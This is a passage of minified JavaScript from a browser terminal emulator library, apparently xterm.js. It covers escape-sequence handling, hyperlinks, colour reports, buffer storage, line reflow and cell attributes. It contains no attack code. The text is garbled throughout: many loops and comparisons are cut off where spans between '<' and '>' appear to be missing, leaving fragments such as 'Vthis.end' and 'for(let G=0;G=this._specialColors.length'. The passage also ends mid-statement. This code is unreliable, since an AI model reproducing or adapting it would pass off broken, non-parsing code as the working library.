this._coreService.isCursorHidden=!1,this._onRequestSyncScrollBar.fire(),this._activeBuffer.scrollTop=0,this._activeBuffer.scrollBottom=this._bufferService.rows-1,this._curAttrData=g.DEFAULT_ATTR_DATA.clone(),this._coreService.reset(),this._charsetService.reset(),this._activeBuffer.savedX=0,this._activeBuffer.savedY=this._activeBuffer.ybase,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,this._coreService.decPrivateModes.origin=!1,!0}setCursorStyle(N){const O=N.params[0]||1;switch(O){case 1:case 2:this._optionsService.options.cursorStyle="block";break;case 3:case 4:this._optionsService.options.cursorStyle="underline";break;case 5:case 6:this._optionsService.options.cursorStyle="bar"}const H=O%2==1;return this._optionsService.options.cursorBlink=H,!0}setScrollRegion(N){const O=N.params[0]||1;let H;return(N.length<2||(H=N.params[1])>this._bufferService.rows||H===0)&&(H=this._bufferService.rows),H>O&&(this._activeBuffer.scrollTop=O-1,this._activeBuffer.scrollBottom=H-1,this._setCursor(0,0)),!0}windowOptions(N){if(!R(N.params[0],this._optionsService.rawOptions.windowOptions))return!0;const O=N.length>1?N.params[1]:0;switch(N.params[0]){case 14:O!==2&&this._onRequestWindowsOptionsReport.fire(P.GET_WIN_SIZE_PIXELS);break;case 16:this._onRequestWindowsOptionsReport.fire(P.GET_CELL_SIZE_PIXELS);break;case 18:this._bufferService&&this._coreService.triggerDataEvent(`${h.C0.ESC}[8;${this._bufferService.rows};${this._bufferService.cols}t`);break;case 22:O!==0&&O!==2||(this._windowTitleStack.push(this._windowTitle),this._windowTitleStack.length>10&&this._windowTitleStack.shift()),O!==0&&O!==1||(this._iconNameStack.push(this._iconName),this._iconNameStack.length>10&&this._iconNameStack.shift());break;case 23:O!==0&&O!==2||this._windowTitleStack.length&&this.setTitle(this._windowTitleStack.pop()),O!==0&&O!==1||this._iconNameStack.length&&this.setIconName(this._iconNameStack.pop())}return!0}saveCursor(N){return this._activeBuffer.savedX=this._activeBuffer.x,this._activeBuffer.savedY=this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.savedCurAttrData.fg=this._curAttrData.fg,this._activeBuffer.savedCurAttrData.bg=this._curAttrData.bg,this._activeBuffer.savedCharset=this._charsetService.charset,!0}restoreCursor(N){return this._activeBuffer.x=this._activeBuffer.savedX||0,this._activeBuffer.y=Math.max(this._activeBuffer.savedY-this._activeBuffer.ybase,0),this._curAttrData.fg=this._activeBuffer.savedCurAttrData.fg,this._curAttrData.bg=this._activeBuffer.savedCurAttrData.bg,this._charsetService.charset=this._savedCharset,this._activeBuffer.savedCharset&&(this._charsetService.charset=this._activeBuffer.savedCharset),this._restrictCursor(),!0}setTitle(N){return this._windowTitle=N,this._onTitleChange.fire(N),!0}setIconName(N){return this._iconName=N,!0}setOrReportIndexedColor(N){const O=[],H=N.split(";");for(;H.length>1;){const G=H.shift(),ee=H.shift();if(/^\d+$/.exec(G)){const ie=parseInt(G);if(W(ie))if(ee==="?")O.push({type:0,index:ie});else{const ve=(0,k.parseColor)(ee);ve&&O.push({type:1,index:ie,color:ve})}}}return O.length&&this._onColor.fire(O),!0}setHyperlink(N){const O=N.split(";");return!(O.length<2)&&(O[1]?this._createHyperlink(O[0],O[1]):!O[0]&&this._finishHyperlink())}_createHyperlink(N,O){this._getCurrentLinkId()&&this._finishHyperlink();const H=N.split(":");let G;const ee=H.findIndex(ie=>ie.startsWith("id="));return ee!==-1&&(G=H[ee].slice(3)||void 0),this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=this._oscLinkService.registerLink({id:G,uri:O}),this._curAttrData.updateExtended(),!0}_finishHyperlink(){return this._curAttrData.extended=this._curAttrData.extended.clone(),this._curAttrData.extended.urlId=0,this._curAttrData.updateExtended(),!0}_setOrReportSpecialColor(N,O){const H=N.split(";");for(let G=0;G=this._specialColors.length);++G,++O)if(H[G]==="?")this._onColor.fire([{type:0,index:this._specialColors[O]}]);else{const ee=(0,k.parseColor)(H[G]);ee&&this._onColor.fire([{type:1,index:this._specialColors[O],color:ee}])}return!0}setOrReportFgColor(N){return this._setOrReportSpecialColor(N,0)}setOrReportBgColor(N){return this._setOrReportSpecialColor(N,1)}setOrReportCursorColor(N){return this._setOrReportSpecialColor(N,2)}restoreIndexedColor(N){if(!N)return this._onColor.fire([{type:2}]),!0;const O=[],H=N.split(";");for(let G=0;G=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._restrictCursor(),!0}tabSet(){return this._activeBuffer.tabs[this._activeBuffer.x]=!0,!0}reverseIndex(){if(this._restrictCursor(),this._activeBuffer.y===this._activeBuffer.scrollTop){const N=this._activeBuffer.scrollBottom-this._activeBuffer.scrollTop;this._activeBuffer.lines.shiftElements(this._activeBuffer.ybase+this._activeBuffer.y,N,1),this._activeBuffer.lines.set(this._activeBuffer.ybase+this._activeBuffer.y,this._activeBuffer.getBlankLine(this._eraseAttrData())),this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom)}else this._activeBuffer.y--,this._restrictCursor();return!0}fullReset(){return this._parser.reset(),this._onRequestReset.fire(),!0}reset(){this._curAttrData=g.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=g.DEFAULT_ATTR_DATA.clone()}_eraseAttrData(){return this._eraseAttrDataInternal.bg&=-67108864,this._eraseAttrDataInternal.bg|=67108863&this._curAttrData.bg,this._eraseAttrDataInternal}setgLevel(N){return this._charsetService.setgLevel(N),!0}screenAlignmentPattern(){const N=new _.CellData;N.content=4194373,N.fg=this._curAttrData.fg,N.bg=this._curAttrData.bg,this._setCursor(0,0);for(let O=0;O(this._coreService.triggerDataEvent(`${h.C0.ESC}${ee}${h.C0.ESC}\\`),!0))(N==='"q'?`P1$r${this._curAttrData.isProtected()?1:0}"q`:N==='"p'?'P1$r61;1"p':N==="r"?`P1$r${H.scrollTop+1};${H.scrollBottom+1}r`:N==="m"?"P1$r0m":N===" q"?`P1$r${{block:2,underline:4,bar:6}[G.cursorStyle]-(G.cursorBlink?1:0)} q`:"P0$r")}markRangeDirty(N,O){this._dirtyRowTracker.markRangeDirty(N,O)}}a.InputHandler=z;let Q=class{constructor(V){this._bufferService=V,this.clearRange()}clearRange(){this.start=this._bufferService.buffer.y,this.end=this._bufferService.buffer.y}markDirty(V){Vthis.end&&(this.end=V)}markRangeDirty(V,N){V>N&&(L=V,V=N,N=L),Vthis.end&&(this.end=N)}markAllDirty(){this.markRangeDirty(0,this._bufferService.rows-1)}};function W(V){return 0<=V&&V<256}Q=l([u(0,S.IBufferService)],Q)},844:(o,a)=>{function c(l){for(const u of l)u.dispose();l.length=0}Object.defineProperty(a,"__esModule",{value:!0}),a.getDisposeArrayDisposable=a.disposeArray=a.toDisposable=a.MutableDisposable=a.Disposable=void 0,a.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const l of this._disposables)l.dispose();this._disposables.length=0}register(l){return this._disposables.push(l),l}unregister(l){const u=this._disposables.indexOf(l);u!==-1&&this._disposables.splice(u,1)}},a.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(l){var u;this._isDisposed||l===this._value||((u=this._value)===null||u===void 0||u.dispose(),this._value=l)}clear(){this.value=void 0}dispose(){var l;this._isDisposed=!0,(l=this._value)===null||l===void 0||l.dispose(),this._value=void 0}},a.toDisposable=function(l){return{dispose:l}},a.disposeArray=c,a.getDisposeArrayDisposable=function(l){return{dispose:()=>c(l)}}},1505:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.FourKeyMap=a.TwoKeyMap=void 0;class c{constructor(){this._data={}}set(u,h,d){this._data[u]||(this._data[u]={}),this._data[u][h]=d}get(u,h){return this._data[u]?this._data[u][h]:void 0}clear(){this._data={}}}a.TwoKeyMap=c,a.FourKeyMap=class{constructor(){this._data=new c}set(l,u,h,d,p){this._data.get(l,u)||this._data.set(l,u,new c),this._data.get(l,u).set(h,d,p)}get(l,u,h,d){var p;return(p=this._data.get(l,u))===null||p===void 0?void 0:p.get(h,d)}clear(){this._data.clear()}}},6114:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.isChromeOS=a.isLinux=a.isWindows=a.isIphone=a.isIpad=a.isMac=a.getSafariVersion=a.isSafari=a.isLegacyEdge=a.isFirefox=a.isNode=void 0,a.isNode=typeof navigator>"u";const c=a.isNode?"node":navigator.userAgent,l=a.isNode?"node":navigator.platform;a.isFirefox=c.includes("Firefox"),a.isLegacyEdge=c.includes("Edge"),a.isSafari=/^((?!chrome|android).)*safari/i.test(c),a.getSafariVersion=function(){if(!a.isSafari)return 0;const u=c.match(/Version\/(\d+)/);return u===null||u.length<2?0:parseInt(u[1])},a.isMac=["Macintosh","MacIntel","MacPPC","Mac68K"].includes(l),a.isIpad=l==="iPad",a.isIphone=l==="iPhone",a.isWindows=["Windows","Win16","Win32","WinCE"].includes(l),a.isLinux=l.indexOf("Linux")>=0,a.isChromeOS=/\bCrOS\b/.test(c)},6106:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.SortedList=void 0;let c=0;a.SortedList=class{constructor(l){this._getKey=l,this._array=[]}clear(){this._array.length=0}insert(l){this._array.length!==0?(c=this._search(this._getKey(l)),this._array.splice(c,0,l)):this._array.push(l)}delete(l){if(this._array.length===0)return!1;const u=this._getKey(l);if(u===void 0||(c=this._search(u),c===-1)||this._getKey(this._array[c])!==u)return!1;do if(this._array[c]===l)return this._array.splice(c,1),!0;while(++c=this._array.length)&&this._getKey(this._array[c])===l))do yield this._array[c];while(++c=this._array.length)&&this._getKey(this._array[c])===l))do u(this._array[c]);while(++c=u;){let d=u+h>>1;const p=this._getKey(this._array[d]);if(p>l)h=d-1;else{if(!(p0&&this._getKey(this._array[d-1])===l;)d--;return d}u=d+1}}return u}}},7226:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.DebouncedIdleTask=a.IdleTaskQueue=a.PriorityTaskQueue=void 0;const l=c(6114);class u{constructor(){this._tasks=[],this._i=0}enqueue(p){this._tasks.push(p),this._start()}flush(){for(;this._iy)return g-m<-20&&console.warn(`task queue exceeded allotted deadline by ${Math.abs(Math.round(g-m))}ms`),void this._start();g=y}this.clear()}}class h extends u{_requestCallback(p){return setTimeout(()=>p(this._createDeadline(16)))}_cancelCallback(p){clearTimeout(p)}_createDeadline(p){const m=Date.now()+p;return{timeRemaining:()=>Math.max(0,m-Date.now())}}}a.PriorityTaskQueue=h,a.IdleTaskQueue=!l.isNode&&"requestIdleCallback"in window?class extends u{_requestCallback(d){return requestIdleCallback(d)}_cancelCallback(d){cancelIdleCallback(d)}}:h,a.DebouncedIdleTask=class{constructor(){this._queue=new a.IdleTaskQueue}set(d){this._queue.clear(),this._queue.enqueue(d)}flush(){this._queue.flush()}}},9282:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.updateWindowsModeWrappedState=void 0;const l=c(643);a.updateWindowsModeWrappedState=function(u){const h=u.buffer.lines.get(u.buffer.ybase+u.buffer.y-1),d=h==null?void 0:h.get(u.cols-1),p=u.buffer.lines.get(u.buffer.ybase+u.buffer.y);p&&d&&(p.isWrapped=d[l.CHAR_DATA_CODE_INDEX]!==l.NULL_CELL_CODE&&d[l.CHAR_DATA_CODE_INDEX]!==l.WHITESPACE_CELL_CODE)}},3734:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.ExtendedAttrs=a.AttributeData=void 0;class c{constructor(){this.fg=0,this.bg=0,this.extended=new l}static toColorRGB(h){return[h>>>16&255,h>>>8&255,255&h]}static fromColorRGB(h){return(255&h[0])<<16|(255&h[1])<<8|255&h[2]}clone(){const h=new c;return h.fg=this.fg,h.bg=this.bg,h.extended=this.extended.clone(),h}isInverse(){return 67108864&this.fg}isBold(){return 134217728&this.fg}isUnderline(){return this.hasExtendedAttrs()&&this.extended.underlineStyle!==0?1:268435456&this.fg}isBlink(){return 536870912&this.fg}isInvisible(){return 1073741824&this.fg}isItalic(){return 67108864&this.bg}isDim(){return 134217728&this.bg}isStrikethrough(){return 2147483648&this.fg}isProtected(){return 536870912&this.bg}isOverline(){return 1073741824&this.bg}getFgColorMode(){return 50331648&this.fg}getBgColorMode(){return 50331648&this.bg}isFgRGB(){return(50331648&this.fg)==50331648}isBgRGB(){return(50331648&this.bg)==50331648}isFgPalette(){return(50331648&this.fg)==16777216||(50331648&this.fg)==33554432}isBgPalette(){return(50331648&this.bg)==16777216||(50331648&this.bg)==33554432}isFgDefault(){return(50331648&this.fg)==0}isBgDefault(){return(50331648&this.bg)==0}isAttributeDefault(){return this.fg===0&&this.bg===0}getFgColor(){switch(50331648&this.fg){case 16777216:case 33554432:return 255&this.fg;case 50331648:return 16777215&this.fg;default:return-1}}getBgColor(){switch(50331648&this.bg){case 16777216:case 33554432:return 255&this.bg;case 50331648:return 16777215&this.bg;default:return-1}}hasExtendedAttrs(){return 268435456&this.bg}updateExtended(){this.extended.isEmpty()?this.bg&=-268435457:this.bg|=268435456}getUnderlineColor(){if(268435456&this.bg&&~this.extended.underlineColor)switch(50331648&this.extended.underlineColor){case 16777216:case 33554432:return 255&this.extended.underlineColor;case 50331648:return 16777215&this.extended.underlineColor;default:return this.getFgColor()}return this.getFgColor()}getUnderlineColorMode(){return 268435456&this.bg&&~this.extended.underlineColor?50331648&this.extended.underlineColor:this.getFgColorMode()}isUnderlineColorRGB(){return 268435456&this.bg&&~this.extended.underlineColor?(50331648&this.extended.underlineColor)==50331648:this.isFgRGB()}isUnderlineColorPalette(){return 268435456&this.bg&&~this.extended.underlineColor?(50331648&this.extended.underlineColor)==16777216||(50331648&this.extended.underlineColor)==33554432:this.isFgPalette()}isUnderlineColorDefault(){return 268435456&this.bg&&~this.extended.underlineColor?(50331648&this.extended.underlineColor)==0:this.isFgDefault()}getUnderlineStyle(){return 268435456&this.fg?268435456&this.bg?this.extended.underlineStyle:1:0}}a.AttributeData=c;class l{get ext(){return this._urlId?-469762049&this._ext|this.underlineStyle<<26:this._ext}set ext(h){this._ext=h}get underlineStyle(){return this._urlId?5:(469762048&this._ext)>>26}set underlineStyle(h){this._ext&=-469762049,this._ext|=h<<26&469762048}get underlineColor(){return 67108863&this._ext}set underlineColor(h){this._ext&=-67108864,this._ext|=67108863&h}get urlId(){return this._urlId}set urlId(h){this._urlId=h}constructor(h=0,d=0){this._ext=0,this._urlId=0,this._ext=h,this._urlId=d}clone(){return new l(this._ext,this._urlId)}isEmpty(){return this.underlineStyle===0&&this._urlId===0}}a.ExtendedAttrs=l},9092:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.Buffer=a.MAX_BUFFER_SIZE=void 0;const l=c(6349),u=c(7226),h=c(3734),d=c(8437),p=c(4634),m=c(511),v=c(643),g=c(4863),y=c(7116);a.MAX_BUFFER_SIZE=4294967295,a.Buffer=class{constructor(b,_,w){this._hasScrollback=b,this._optionsService=_,this._bufferService=w,this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.tabs={},this.savedY=0,this.savedX=0,this.savedCurAttrData=d.DEFAULT_ATTR_DATA.clone(),this.savedCharset=y.DEFAULT_CHARSET,this.markers=[],this._nullCell=m.CellData.fromCharData([0,v.NULL_CELL_CHAR,v.NULL_CELL_WIDTH,v.NULL_CELL_CODE]),this._whitespaceCell=m.CellData.fromCharData([0,v.WHITESPACE_CELL_CHAR,v.WHITESPACE_CELL_WIDTH,v.WHITESPACE_CELL_CODE]),this._isClearing=!1,this._memoryCleanupQueue=new u.IdleTaskQueue,this._memoryCleanupPosition=0,this._cols=this._bufferService.cols,this._rows=this._bufferService.rows,this.lines=new l.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}getNullCell(b){return b?(this._nullCell.fg=b.fg,this._nullCell.bg=b.bg,this._nullCell.extended=b.extended):(this._nullCell.fg=0,this._nullCell.bg=0,this._nullCell.extended=new h.ExtendedAttrs),this._nullCell}getWhitespaceCell(b){return b?(this._whitespaceCell.fg=b.fg,this._whitespaceCell.bg=b.bg,this._whitespaceCell.extended=b.extended):(this._whitespaceCell.fg=0,this._whitespaceCell.bg=0,this._whitespaceCell.extended=new h.ExtendedAttrs),this._whitespaceCell}getBlankLine(b,_){return new d.BufferLine(this._bufferService.cols,this.getNullCell(b),_)}get hasScrollback(){return this._hasScrollback&&this.lines.maxLength>this._rows}get isCursorInViewport(){const b=this.ybase+this.y-this.ydisp;return b>=0&&ba.MAX_BUFFER_SIZE?a.MAX_BUFFER_SIZE:_}fillViewportRows(b){if(this.lines.length===0){b===void 0&&(b=d.DEFAULT_ATTR_DATA);let _=this._rows;for(;_--;)this.lines.push(this.getBlankLine(b))}}clear(){this.ydisp=0,this.ybase=0,this.y=0,this.x=0,this.lines=new l.CircularList(this._getCorrectBufferLength(this._rows)),this.scrollTop=0,this.scrollBottom=this._rows-1,this.setupTabStops()}resize(b,_){const w=this.getNullCell(d.DEFAULT_ATTR_DATA);let S=0;const C=this._getCorrectBufferLength(_);if(C>this.lines.maxLength&&(this.lines.maxLength=C),this.lines.length>0){if(this._cols0&&this.lines.length<=this.ybase+this.y+T+1?(this.ybase--,T++,this.ydisp>0&&this.ydisp--):this.lines.push(new d.BufferLine(b,w)));else for(let k=this._rows;k>_;k--)this.lines.length>_+this.ybase&&(this.lines.length>this.ybase+this.y+1?this.lines.pop():(this.ybase++,this.ydisp++));if(C0&&(this.lines.trimStart(k),this.ybase=Math.max(this.ybase-k,0),this.ydisp=Math.max(this.ydisp-k,0),this.savedY=Math.max(this.savedY-k,0)),this.lines.maxLength=C}this.x=Math.min(this.x,b-1),this.y=Math.min(this.y,_-1),T&&(this.y+=T),this.savedX=Math.min(this.savedX,b-1),this.scrollTop=0}if(this.scrollBottom=_-1,this._isReflowEnabled&&(this._reflow(b,_),this._cols>b))for(let T=0;T.1*this.lines.length&&(this._memoryCleanupPosition=0,this._memoryCleanupQueue.enqueue(()=>this._batchedMemoryCleanup()))}_batchedMemoryCleanup(){let b=!0;this._memoryCleanupPosition>=this.lines.length&&(this._memoryCleanupPosition=0,b=!1);let _=0;for(;this._memoryCleanupPosition100)return!0;return b}get _isReflowEnabled(){const b=this._optionsService.rawOptions.windowsPty;return b&&b.buildNumber?this._hasScrollback&&b.backend==="conpty"&&b.buildNumber>=21376:this._hasScrollback&&!this._optionsService.rawOptions.windowsMode}_reflow(b,_){this._cols!==b&&(b>this._cols?this._reflowLarger(b,_):this._reflowSmaller(b,_))}_reflowLarger(b,_){const w=(0,p.reflowLargerGetLinesToRemove)(this.lines,this._cols,b,this.ybase+this.y,this.getNullCell(d.DEFAULT_ATTR_DATA));if(w.length>0){const S=(0,p.reflowLargerCreateNewLayout)(this.lines,w);(0,p.reflowLargerApplyNewLayout)(this.lines,S.layout),this._reflowLargerAdjustViewport(b,_,S.countRemoved)}}_reflowLargerAdjustViewport(b,_,w){const S=this.getNullCell(d.DEFAULT_ATTR_DATA);let C=w;for(;C-- >0;)this.ybase===0?(this.y>0&&this.y--,this.lines.length<_&&this.lines.push(new d.BufferLine(b,S))):(this.ydisp===this.ybase&&this.ydisp--,this.ybase--);this.savedY=Math.max(this.savedY-w,0)}_reflowSmaller(b,_){const w=this.getNullCell(d.DEFAULT_ATTR_DATA),S=[];let C=0;for(let T=this.lines.length-1;T>=0;T--){let k=this.lines.get(T);if(!k||!k.isWrapped&&k.getTrimmedLength()<=b)continue;const A=[k];for(;k.isWrapped&&T>0;)k=this.lines.get(--T),A.unshift(k);const M=this.ybase+this.y;if(M>=T&&M0&&(S.push({start:T+A.length+C,newLines:Q}),C+=Q.length),A.push(...Q);let W=P.length-1,V=P[W];V===0&&(W--,V=P[W]);let N=A.length-L-1,O=R;for(;N>=0;){const G=Math.min(O,V);if(A[W]===void 0)break;if(A[W].copyCellsFrom(A[N],O-G,V-G,G,!0),V-=G,V===0&&(W--,V=P[W]),O-=G,O===0){N--;const ee=Math.max(N,0);O=(0,p.getWrappedLineTrimmedLength)(A,ee,this._cols)}}for(let G=0;G0;)this.ybase===0?this.y<_-1?(this.y++,this.lines.pop()):(this.ybase++,this.ydisp++):this.ybase0){const T=[],k=[];for(let W=0;W=0;W--)if(P&&P.start>M+L){for(let V=P.newLines.length-1;V>=0;V--)this.lines.set(W--,P.newLines[V]);W++,T.push({index:M+1,amount:P.newLines.length}),L+=P.newLines.length,P=S[++R]}else this.lines.set(W,k[M--]);let z=0;for(let W=T.length-1;W>=0;W--)T[W].index+=z,this.lines.onInsertEmitter.fire(T[W]),z+=T[W].amount;const Q=Math.max(0,A+C-this.lines.maxLength);Q>0&&this.lines.onTrimEmitter.fire(Q)}}translateBufferLineToString(b,_,w=0,S){const C=this.lines.get(b);return C?C.translateToString(_,w,S):""}getWrappedRangeForLine(b){let _=b,w=b;for(;_>0&&this.lines.get(_).isWrapped;)_--;for(;w+10;);return b>=this._cols?this._cols-1:b<0?0:b}nextStop(b){for(b==null&&(b=this.x);!this.tabs[++b]&&b=this._cols?this._cols-1:b<0?0:b}clearMarkers(b){this._isClearing=!0;for(let _=0;_{_.line-=w,_.line<0&&_.dispose()})),_.register(this.lines.onInsert(w=>{_.line>=w.index&&(_.line+=w.amount)})),_.register(this.lines.onDelete(w=>{_.line>=w.index&&_.linew.index&&(_.line-=w.amount)})),_.register(_.onDispose(()=>this._removeMarker(_))),_}_removeMarker(b){this._isClearing||this.markers.splice(this.markers.indexOf(b),1)}}},8437:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.BufferLine=a.DEFAULT_ATTR_DATA=void 0;const l=c(3734),u=c(511),h=c(643),d=c(482);a.DEFAULT_ATTR_DATA=Object.freeze(new l.AttributeData);let p=0;class m{constructor(g,y,b=!1){this.isWrapped=b,this._combined={},this._extendedAttrs={},this._data=new Uint32Array(3*g);const _=y||u.CellData.fromCharData([0,h.NULL_CELL_CHAR,h.NULL_CELL_WIDTH,h.NULL_CELL_CODE]);for(let w=0;w>22,2097152&y?this._combined[g].charCodeAt(this._combined[g].length-1):b]}set(g,y){this._data[3*g+1]=y[h.CHAR_DATA_ATTR_INDEX],y[h.CHAR_DATA_CHAR_INDEX].length>1?(this._combined[g]=y[1],this._data[3*g+0]=2097152|g|y[h.CHAR_DATA_WIDTH_INDEX]<<22):this._data[3*g+0]=y[h.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|y[h.CHAR_DATA_WIDTH_INDEX]<<22}getWidth(g){return this._data[3*g+0]>>22}hasWidth(g){return 12582912&this._data[3*g+0]}getFg(g){return this._data[3*g+1]}getBg(g){return this._data[3*g+2]}hasContent(g){return 4194303&this._data[3*g+0]}getCodePoint(g){const y=this._data[3*g+0];return 2097152&y?this._combined[g].charCodeAt(this._combined[g].length-1):2097151&y}isCombined(g){return 2097152&this._data[3*g+0]}getString(g){const y=this._data[3*g+0];return 2097152&y?this._combined[g]:2097151&y?(0,d.stringFromCodePoint)(2097151&y):""}isProtected(g){return 536870912&this._data[3*g+2]}loadCell(g,y){return p=3*g,y.content=this._data[p+0],y.fg=this._data[p+1],y.bg=this._data[p+2],2097152&y.content&&(y.combinedData=this._combined[g]),268435456&y.bg&&(y.extended=this._extendedAttrs[g]),y}setCell(g,y){2097152&y.content&&(this._combined[g]=y.combinedData),268435456&y.bg&&(this._extendedAttrs[g]=y.extended),this._data[3*g+0]=y.content,this._data[3*g+1]=y.fg,this._data[3*g+2]=y.bg}setCellFromCodePoint(g,y,b,_,w,S){268435456&w&&(this._extendedAttrs[g]=S),this._data[3*g+0]=y|b<<22,this._data[3*g+1]=_,this._data[3*g+2]=w}addCodepointToCell(g,y){let b=this._data[3*g+0];2097152&b?this._combined[g]+=(0,d.stringFromCodePoint)(y):(2097151&b?(this._combined[g]=(0,d.stringFromCodePoint)(2097151&b)+(0,d.stringFromCodePoint)(y),b&=-2097152,b|=2097152):b=y|4194304,this._data[3*g+0]=b)}insertCells(g,y,b,_){if((g%=this.length)&&this.getWidth(g-1)===2&&this.setCellFromCodePoint(g-1,0,1,(_==null?void 0:_.fg)||0,(_==null?void 0:_.bg)||0,(_==null?void 0:_.extended)||new l.ExtendedAttrs),y=0;--S)this.setCell(g+y+S,this.loadCell(g+S,w));for(let S=0;Sthis.length){if(this._data.buffer.byteLength>=4*b)this._data=new Uint32Array(this._data.buffer,0,b);else{const _=new Uint32Array(b);_.set(this._data),this._data=_}for(let _=this.length;_=g&&delete this._combined[C]}const w=Object.keys(this._extendedAttrs);for(let S=0;S=g&&delete this._extendedAttrs[C]}}return this.length=g,4*b*2=0;--g)if(4194303&this._data[3*g+0])return g+(this._data[3*g+0]>>22);return 0}getNoBgTrimmedLength(){for(let g=this.length-1;g>=0;--g)if(4194303&this._data[3*g+0]||50331648&this._data[3*g+2])return g+(this._data[3*g+0]>>22);return 0}copyCellsFrom(g,y,b,_,w){const S=g._data;if(w)for(let T=_-1;T>=0;T--){for(let k=0;k<3;k++)this._data[3*(b+T)+k]=S[3*(y+T)+k];268435456&S[3*(y+T)+2]&&(this._extendedAttrs[b+T]=g._extendedAttrs[y+T])}else for(let T=0;T<_;T++){for(let k=0;k<3;k++)this._data[3*(b+T)+k]=S[3*(y+T)+k];268435456&S[3*(y+T)+2]&&(this._extendedAttrs[b+T]=g._extendedAttrs[y+T])}const C=Object.keys(g._combined);for(let T=0;T=y&&(this._combined[k-y+b]=g._combined[k])}}translateToString(g=!1,y=0,b=this.length){g&&(b=Math.min(b,this.getTrimmedLength()));let _="";for(;y>22||1}return _}}a.BufferLine=m},4841:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.getRangeLength=void 0,a.getRangeLength=function(c,l){if(c.start.y>c.end.y)throw new Error(`Buffer range end (${c.end.x}, ${c.end.y}) cannot be before start (${c.start.x}, ${c.start.y})`);return l*(c.end.y-c.start.y)+(c.end.x-c.start.x+1)}},4634:(o,a)=>{function c(l,u,h){if(u===l.length-1)return l[u].getTrimmedLength();const d=!l[u].hasContent(h-1)&&l[u].getWidth(h-1)===1,p=l[u+1].getWidth(0)===2;return d&&p?h-1:h}Object.defineProperty(a,"__esModule",{value:!0}),a.getWrappedLineTrimmedLength=a.reflowSmallerGetNewLineLengths=a.reflowLargerApplyNewLayout=a.reflowLargerCreateNewLayout=a.reflowLargerGetLinesToRemove=void 0,a.reflowLargerGetLinesToRemove=function(l,u,h,d,p){const m=[];for(let v=0;v=v&&d0&&(k>_||b[k].getTrimmedLength()===0);k--)T++;T>0&&(m.push(v+b.length-T),m.push(T)),v+=b.length-1}return m},a.reflowLargerCreateNewLayout=function(l,u){const h=[];let d=0,p=u[d],m=0;for(let v=0;vc(l,b,u)).reduce((y,b)=>y+b);let m=0,v=0,g=0;for(;gy&&(m-=y,v++);const b=l[v].getWidth(m-1)===2;b&&m--;const _=b?h-1:h;d.push(_),g+=_}return d},a.getWrappedLineTrimmedLength=c},5295:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.BufferSet=void 0;const l=c(8460),u=c(844),h=c(9092);class d extends u.Disposable{constructor(m,v){super(),this._optionsService=m,this._bufferService=v,this._onBufferActivate=this.register(new l.EventEmitter),this.onBufferActivate=this._onBufferActivate.event,this.reset(),this.register(this._optionsService.onSpecificOptionChange("scrollback",()=>this.resize(this._bufferService.cols,this._bufferService.rows))),this.register(this._optionsService.onSpecificOptionChange("tabStopWidth",()=>this.setupTabStops()))}reset(){this._normal=new h.Buffer(!0,this._optionsService,this._bufferService),this._normal.fillViewportRows(),this._alt=new h.Buffer(!1,this._optionsService,this._bufferService),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}),this.setupTabStops()}get alt(){return this._alt}get active(){return this._activeBuffer}get normal(){return this._normal}activateNormalBuffer(){this._activeBuffer!==this._normal&&(this._normal.x=this._alt.x,this._normal.y=this._alt.y,this._alt.clearAllMarkers(),this._alt.clear(),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}))}activateAltBuffer(m){this._activeBuffer!==this._alt&&(this._alt.fillViewportRows(m),this._alt.x=this._normal.x,this._alt.y=this._normal.y,this._activeBuffer=this._alt,this._onBufferActivate.fire({activeBuffer:this._alt,inactiveBuffer:this._normal}))}resize(m,v){this._normal.resize(m,v),this._alt.resize(m,v),this.setupTabStops(m)}setupTabStops(m){this._normal.setupTabStops(m),this._alt.setupTabStops(m)}}a.BufferSet=d},511:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.CellData=void 0;const l=c(482),u=c(643),h=c(3734);class d extends h.AttributeData{constructor(){super(...arguments),this.content=0,this.fg=0,this.bg=0,this.extended=new h.ExtendedAttrs,this.combinedData=""}static fromCharData(m){const v=new d;return v.setFromCharData(m),v}isCombined(){return 2097152&this.content}getWidth(){return this.content>>22}getChars(){return 2097152&this.content?this.combinedData:2097151&this.content?(0,l.stringFromCodePoint)(2097151&this.content):""}getCode(){return this.isCombined()?this.combinedData.charCodeAt(this.combinedData.length-1):2097151&this.content}setFromCharData(m){this.fg=m[u.CHAR_DATA_ATTR_INDEX],this.bg=0;let v=!1;if(m[u.CHAR_DATA_CHAR_INDEX].length>2)v=!0;else if(m[u.CHAR_DATA_CHAR_INDEX].length===2){const g=m[u.CHAR_DATA_CHAR_INDEX].charCodeAt(0);if(55296<=g&&g<=56319){const y=m[u.CHAR_DATA_CHAR_INDEX].charCodeAt(1);56320<=y&&y<=57343?this.content=1024*(g-55296)+y-56320+65536|m[u.CHAR_DATA_WIDTH_INDEX]<<22:v=!0}else 